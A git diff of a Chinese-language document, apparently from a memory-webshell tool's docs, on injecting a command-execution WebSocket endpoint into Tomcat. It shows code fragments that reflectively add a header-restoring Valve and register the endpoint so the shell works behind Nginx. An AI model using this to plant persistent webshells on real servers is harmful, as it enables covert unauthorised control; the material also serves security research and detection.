@@ -50,7 +50,7 @@ public class ExampleEndpoint extends Endpoint {
5050}
5151```
5252
53- 接口继承 javax.websocket.Endpoint,在 onOpen 的时候注册消息处理器 。
53+ 通过继承 ` javax.websocket.Endpoint ` 类 ,在 ` onOpen ` 方法中注册消息处理器 。
5454
5555在内存马场景下,可以在 onMessage 方法中添加恶意逻辑,例如执行系统命令或加载其他恶意代码,以下是命令回显 WebSocket Endpoint 示例:
5656
@@ -129,7 +129,7 @@ public class WsSci implements ServletContainerInitializer {
129129 Set<ServerEndpointConfig > filteredEndpointConfigs = ... ;
130130 try {
131131 for (ServerEndpointConfig config : filteredEndpointConfigs) {
132- sc. addEndpoint(config);
132+ sc. addEndpoint(config); // [!code highlight]
133133 }
134134 // ...
135135 } catch (DeploymentException e) {
@@ -139,7 +139,7 @@ public class WsSci implements ServletContainerInitializer {
139139
140140 static WsServerContainer init (ServletContext servletContext , boolean initBySciMechanism ) {
141141 WsServerContainer sc = new WsServerContainer (servletContext);
142- servletContext. setAttribute(" javax.websocket.server.ServerContainer" , sc);
142+ servletContext. setAttribute(" javax.websocket.server.ServerContainer" , sc); // [!code highlight]
143143 // ...
144144 return sc;
145145 }
@@ -204,7 +204,7 @@ sec-websocket-key = 4yY8pZQPUv6RlRoPgh7SaA==
204204sec-websocket-extensions = permessage-deflate; client_max_window_bits
205205```
206206
207- 实现细节的话,不知道大家有没有注意到 Tomcat 中总是默认注册个 Filter 叫作 ` org.apache.tomcat.websocket.server.WsFilter ` ,其实这个就是用于将 HTTP 请求升级为 WebSocket 协议的 Filter 。
207+ 在实现细节上, Tomcat 默认会注册一个名为 ` org.apache.tomcat.websocket.server.WsFilter ` 的 Filter,用于将 HTTP 请求升级为 WebSocket 协议 。
208208
209209首先会在 ` UpgradeUtil.isWebSocketUpgradeRequest ` 判断请求头里面有没有 ` Upgrade: websocket ` 以及是不是 GET 请求。
210210其次在 ` UpgradeUtil.doUpgrade ` 方法中会检查 ` Connection: upgrade ` 以及 ` Sec-WebSocket-Version: 13 ` ,如果没有这些头部就会直接返回 400 或 426 错误码。
@@ -239,15 +239,15 @@ public class UpgradeUtil {
239239 public static boolean isWebSocketUpgradeRequest (ServletRequest request , ServletResponse response ) {
240240 return request instanceof HttpServletRequest
241241 && response instanceof HttpServletResponse
242- && headerContainsToken((HttpServletRequest )request, " Upgrade" , " websocket" )
242+ && headerContainsToken((HttpServletRequest )request, " Upgrade" , " websocket" ) // [!code highlight]
243243 && " GET" . equals(((HttpServletRequest )request). getMethod());
244244 }
245245
246246 public static void doUpgrade (WsServerContainer sc , HttpServletRequest req , HttpServletResponse resp , ServerEndpointConfig sec , Map<String , String > pathParams ) throws ServletException , IOException {
247247 String subProtocol = null ;
248- if (! headerContainsToken(req, " Connection" , " upgrade" )) {
248+ if (! headerContainsToken(req, " Connection" , " upgrade" )) { // [!code highlight]
249249 resp. sendError(400 );
250- } else if (! headerContainsToken(req, " Sec-WebSocket-Version" , " 13" )) {
250+ } else if (! headerContainsToken(req, " Sec-WebSocket-Version" , " 13" )) { // [!code highlight]
251251 resp. setStatus(426 );
252252 resp. setHeader(" Sec-WebSocket-Version" , " 13" );
253253 }
@@ -256,7 +256,7 @@ public class UpgradeUtil {
256256}
257257```
258258
259- 结合上面透过 Nginx Tomcat 拿到的请求头,我们缺失的就是 ` Upgrade: websocket ` 和 ` Connection: upgrade ` 这两个请求头,使得请求根本没进入 WsFilter 的逻辑导致连接失败。所以我们需要伪造一个类似 WsFilter 的组件并且处理缺失的请求头,我根据 Filter 和 Valve 的注入的代码量,选择了更轻量化的 Valve 组件:
259+ 结合上面通过 Nginx 转发到 Tomcat 的请求头,可以看到缺失的就是 ` Upgrade: websocket ` 和 ` Connection: upgrade ` 这两个请求头,导致请求无法进入 WsFilter 的逻辑从而连接失败。因此我们需要创建一个类似 WsFilter 的组件来补充缺失的请求头。考虑到 Filter 和 Valve 的注入代码量,这里选择了更轻量化的 Valve 组件:
260260
261261``` java
262262public class TomcatWsBypassValve implements Valve {
@@ -348,7 +348,7 @@ private void inject(Object context, Object obj) throws Exception {
348348 Object pipeline = invokeMethod(context, " getPipeline" , null , null ); // [!code ++]
349349 Class valveClass = context. getClass(). getClassLoader(). loadClass(" org.apache.catalina.Valve" ); // [!code ++]
350350 invokeMethod(pipeline, " addValve" , new Class []{valveClass}, new Object []{valve}); // [!code ++]
351-
351+
352352 ClassLoader contextClassLoader = context. getClass(). getClassLoader();
353353 Class<?> serverEndpointConfigClass;
354354 Class<?> builderClass;
@@ -368,4 +368,8 @@ private void inject(Object context, Object obj) throws Exception {
368368 invokeMethod(container, " setDefaultMaxBinaryMessageBufferSize" , new Class []{int . class}, new Object []{52428800 });
369369 invokeMethod(container, " addEndpoint" , new Class []{serverEndpointConfigClass}, new Object []{endpointConfig});
370370}
371- ```
371+ ```
372+
373+ ## 相关文档
374+
375+ - [ Command 内存马使用教程] ( /docs/shelltool/command ) - 了解如何生成和使用 WebSocket 命令执行内存马
0 commit comments